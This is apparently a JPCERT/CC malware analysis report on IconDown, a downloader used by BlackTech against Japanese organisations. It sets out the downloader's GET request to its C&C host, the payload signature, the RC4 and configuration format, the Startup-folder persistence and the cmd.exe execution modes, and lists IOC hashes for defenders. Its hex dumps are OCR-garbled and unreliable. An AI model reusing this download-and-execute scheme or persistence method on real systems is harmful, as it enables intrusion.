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In the past articles, we have introduced TSCookie and PLEAD, the malware used by an attack group BlackTech.

We have confirmed that this group also uses another type of malware called “IconDown”. According to ESET’s
blog[1], it has been confirmed that the malware is distributed through the update function of ASUS WebStorage.

This article describes the details of IconDown found in Japanese organisations.

IconDown’s behaviour

The malware downloads a file from a specific site. This is an example of the HTTP GET requests sent from

IconDown.

GET /logo.png HTTP/1.1
Host: update.panasocin.com
Cache-Control: no-cache

Then, it searches for the following HEX values (as a signature of the embedded data) from the beginning of the

downloaded file.

91 00 13 87 33 00 90 06 19

If the signature value is found, the following 256-byte data is parsed as a RC4 key. It is used to decrypt the data
embedded in the downloaded file. (See Table 1 in Appendix A for details.)
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Fixed HEX value
00018120 7D 03 BA 86 20 08 82 20 08 82 20

00018180 7F ED 2D 92 9C 37 2F 14 1C 00 O

000181C0 44 AE 42 60 82 oJs DB, '..%3....8?
000181D0 i=e.0..8R-@<H?FN
000181E0Q ! .H6QKE..V->YVD,
000181F0 sEi«ip.rv'~Z°-z.
00018200 4Va.Xi€8A'd -m0&M
00018210 1340W.-"+y8¥p.€=
00018220 Oh6G'EL. , #A%=RER
00018230 -H,§, »>.WQ td>.L"
00018240 230-04 " . .XALT»
00018250 YD xYN&*® -, tx*+8A
00018260 Q REEE%s . »TN%"5.
00018270 .@T.&&.UPQ"¥ES.9
00018280 #-4T}°A)T.vEF“ta
00018290 =é.z~+ I~{\.4u5..
00018220 THyR: (.. y200.28
00018280 #°Z:.X"22B@0k. &
000182C0 $6Edey]as. nm@x22
000182D0 il GAY | 27 BL

000182E0 F4 4F 3C 5C 95 20 DE &4 EB 2L 8C DO EO
000182F0 24 34 78 20 86 64 94 34 05 1F BC 3C A5 F7
00018300 87 78 84 7C 63 44 2A 08 36 42 OA 10 72 8C .6B..rED.
00018310 9C 43 CA 6D FB 6E BO OC C7 D8 88 04 DD 49 .Ce~.¥I.B
00018320 8C OF BRE CE C6 78 2E 91 DB EC 78 21 7F 3B 5C E2 C.®IEx. ‘Uix!.:\a
00018330 DD B0 72 6D 87 F3 D6 5D 99 CF 56 1F 82 9E F2 F5 Y°rm#d01™Iv., 208
00018340 CB 16 36 60 62 94 76 8L 87 22 98 A& F3 70 DE 12 E.é6'b”vS%,~"dpb.
00018350 72 B4 A8 7B C1 OF CA 32 65 15 1E B9 FD 4C 46 DF r’~{A.E2e..>*VYLFB
00018360 15 0D DO 26 60 52 80 B2 53 ES 58 8& 47 C8 D4 23 . .D6 YE2SAXSGECS
00018370 43 05 C2 9& — = - C.A3.k557.926%tu
00018380 94 4C 02 4F 7L.0%! "] e ™) 8%
00018390 3C 07 02 a9 <..0y09a«ROyu. ~1
00018340 BC C1 BC &8 @it ze" . »nB.alld
000183B0 C4 23 C8 20 Ai“E dv-.sg8s—Na.

LE*@Da. "~
4. ¥R

000183C0 47 BE 52 1E BE . “OW.E:UGHR. %' 3.
000183D0 19.yi0.i*Quc.VI.
000183E0 td®6ET7AS A+.71].
000183F0 B «li.«9.2%1 Y.
00018400 gE'\°;U"t.oXEkx.

Figure 1: RC4 key and encrypted data

RC4-encrypted data is expected to contain configuration value and PE file. The following figure show the

decrypted data.
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Configuration value File Name

00000000 66 9C 43 69 E3/ %3 69 60 9D 43 69 ....feCideCi'.Ci
00000010 - : F C:\Users\John\Zp
00000020 pData\Local\Temp
00000030 \TMP912E3.tmp...
00000040 (00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .......cocneeue.
00000050
00000060
00000070
00000080
00000090
00000020
00000080
000000C0
000000D0
000000EQ
000000FQ
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00000170
00000180

BsaansSes” Gl el
I!This program c
annot be run in
DOS mode....$...

Figure 2: Example of decrypted data

IconDown creates a PE file from the decrypted data and save it to the filesystem. Based on the configuration

value, it determines the path to save the file from the following:

o File name contained in the configuration of the downloaded file
* %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\slui.exe
¢ %TEMP%\F{random 8-digit hexadecimal string}.TMP

Then, the saved PE file is executed as specified in the configuration value. (See Table 3 in Appendix B for details

of the configuration.)

In Closing

BlackTech has carried our attacks against Japanese organisations by using various types of malware. As the same
activity is likely to continue, we will keep an eye on the situation. The hash values of the sample are listed in
Appendix C, as well as a C&C server in Appendix D. Please make sure that none of your devices is

communicating to the host.

Shintaro Tanaka
(Translated by Yukako Uchida)

Reference

Page 3 of 7



https://blogs.jpcert.or.jp/en/2019 /11 /icondown-downloader-used-by-blacktech.html

[1]JESET: Plead malware distributed via MitM attacks at router level, misusing ASUS WebStorage

Appendix A: Format of data downloaded by IconDown

Offset

0x000

0x009

0x209

Table 1: Format of data downloaded by IconDown

Length Contents
9 91 00 13 87 33 00 90 06 19 (HEX value)
256 RC4 key

- RC4-encrypted data (See Table 2 for details.)

Table 2: Format of the encrypted data

Offset Length Contents

0x000 4

0x010 -

0x114 -

Fixed value (between 0 and 5, see Table 3 for details)

File name (%0APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\slui.exe if

not configured)

PE file

Appendix B: Method of creating/executing PE files

Value

0x00000000

0x00000001

0x00000002

0x00000003

0x00000004

0x00000005

Table 3: Methods of creating/executing PE files

Contents

Create a file named [File name in Table 2]

Create a file named [File name in Table 2] and execute cmd.exe /c [File name in Table 2]
Terminate itself

Create a file named [File name in Table 2] and terminate itself

Create a file named [File name in Table 2], execute cmd.exe /c [File name in Table 2] and

terminate itself

Create a file named [File name in Table 2] and % TEMP%\F{random 8-digit hexadecimal
string}, execute cmd.exe /c % TEMP%\F{random 8-digit hexadecimal string} and terminate

itself
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Appendix C: Hash value of the samples

IconDown

e 634839b452e43f28561188a476af462c301b47bddd0468dd8c4f452ae80ealaf
e 6bf301b26a919f86655e4ccb20237cc3b6b6888f258d96aac4d62df7980e51a5
o 2e789fc5aal1318d0286264d70b2ececal5664689efadf47c485d84df55231ac4

A sample file downloaded by IconDown

o f6494698448cdaf6ecOed7b3555521e75fac5189fa3c89ba7b2ad492188005b4

Appendix D: C&C server

e update.panasocin.com

JPCERT/CC

Please use the below contact form for any inquiries about the article.

Related articles

Update on Attacks by Threat Group APT-C-60
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CrossC2 Expanding Cobalt Strike Beacon to Cross-Platform Attacks

Malware Identified in Attacks Exploiting Ivanti Connect Secure Vulnerabilities

DslogdRAT Malware Installed in Ivanti Connect Secure
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Relations between Mosndtane Sleal and ather subgroups
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Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus’s Subgroup

Source: https://blogs.jpcert.or.jp/en/2019/11/icondown-downloader-used-by-blacktech.html
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